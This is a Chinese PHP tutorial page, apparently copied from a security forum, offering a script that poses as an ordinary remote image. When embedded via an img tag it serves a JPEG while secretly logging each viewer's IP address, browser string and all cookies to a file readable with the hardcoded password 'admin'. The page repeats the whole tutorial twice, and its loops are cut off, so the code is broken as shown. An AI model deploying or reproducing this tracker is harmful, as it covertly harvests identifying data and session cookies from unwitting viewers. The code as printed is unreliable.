利用img远程调用图片记录访问者浏览器信息操作系统等_PHP教程
程序员文章站
2022-05-23 15:20:23
...
判断操作系统我懒得写正则判断了大家直接根据浏览器信息就能知道了
http://localhost/test.php
$pass=admin 这个是查看信息的密码
http://www.BkJia.com /test.php?pass=admin
就能查看密码了
$filePath=’./x.txt’; //信息保存地址
$image=’x.jpg’; //读取图片并输出的 各位自己选择图片
date_default_timezone_set('PRC');
$pass='admin';
$filePath='./x.txt'; //信息保存地址
$image='x.jpg'; //输出图片名称
if(@$_GET['pass']==$pass){
$pics=file($filePath);
for($i=0;$i {
echo $pics[$i];
}
exit;
}else{
header("Content-type:image/jpeg");
$ip=getip();
$USER_AGENT=$_SERVER['HTTP_USER_AGENT'];
$data=date("Y-m-d H:i:s", time());
$content='访问IP:'.$ip.'
浏览器信息:'.$USER_AGENT.'
COOKIE:
';
writeto($filePath,$content);
foreach($_COOKIE as $key=>$value){
$content=$key.' = '.htmlspecialchars($value).'
';
writeto($filePath,$content);
}
writeto($filePath,'访问时间:'.$data.'
');
$pics=file($image);
for($i=0;$i {
echo $pics[$i];
}
}
function getip() {
if (! empty ( $_SERVER ["HTTP_CLIENT_IP"] )) {
$cip = $_SERVER ["HTTP_CLIENT_IP"];
} else if (! empty ( $_SERVER ["HTTP_X_FORWARDED_FOR"] )) {
$cip = $_SERVER ["HTTP_X_FORWARDED_FOR"];
} else if (! empty ( $_SERVER ["REMOTE_ADDR"] )) {
$cip = $_SERVER ["REMOTE_ADDR"];
} else {
$cip = ‘‘;
}
preg_match ("/[\d\.]{7,15}/", $cip, $cips );
$cip = isset ( $cips [0] ) ? $cips [0] : 'unknown';
unset ( $cips );
return $cip;
}
function writeto($filePath, $content){
$path = fopen($filePath,'a');
flock($path, LOCK_EX);
$result = fwrite($path, $content);
fclose($path);
return $result;
}
?>
原地址:http://www.90sec.org/thread-1744-1-1.html
http://localhost/test.php
$pass=admin 这个是查看信息的密码
http://www.BkJia.com /test.php?pass=admin
就能查看密码了
$filePath=’./x.txt’; //信息保存地址
$image=’x.jpg’; //读取图片并输出的 各位自己选择图片
date_default_timezone_set('PRC');
$pass='admin';
$filePath='./x.txt'; //信息保存地址
$image='x.jpg'; //输出图片名称
if(@$_GET['pass']==$pass){
$pics=file($filePath);
for($i=0;$i {
echo $pics[$i];
}
exit;
}else{
header("Content-type:image/jpeg");
$ip=getip();
$USER_AGENT=$_SERVER['HTTP_USER_AGENT'];
$data=date("Y-m-d H:i:s", time());
$content='访问IP:'.$ip.'
浏览器信息:'.$USER_AGENT.'
COOKIE:
';
writeto($filePath,$content);
foreach($_COOKIE as $key=>$value){
$content=$key.' = '.htmlspecialchars($value).'
';
writeto($filePath,$content);
}
writeto($filePath,'访问时间:'.$data.'
');
$pics=file($image);
for($i=0;$i {
echo $pics[$i];
}
}
function getip() {
if (! empty ( $_SERVER ["HTTP_CLIENT_IP"] )) {
$cip = $_SERVER ["HTTP_CLIENT_IP"];
} else if (! empty ( $_SERVER ["HTTP_X_FORWARDED_FOR"] )) {
$cip = $_SERVER ["HTTP_X_FORWARDED_FOR"];
} else if (! empty ( $_SERVER ["REMOTE_ADDR"] )) {
$cip = $_SERVER ["REMOTE_ADDR"];
} else {
$cip = ‘‘;
}
preg_match ("/[\d\.]{7,15}/", $cip, $cips );
$cip = isset ( $cips [0] ) ? $cips [0] : 'unknown';
unset ( $cips );
return $cip;
}
function writeto($filePath, $content){
$path = fopen($filePath,'a');
flock($path, LOCK_EX);
$result = fwrite($path, $content);
fclose($path);
return $result;
}
?>
原地址:http://www.90sec.org/thread-1744-1-1.html
上一篇: 向高手php post提交有关问题
下一篇: 事物索引视图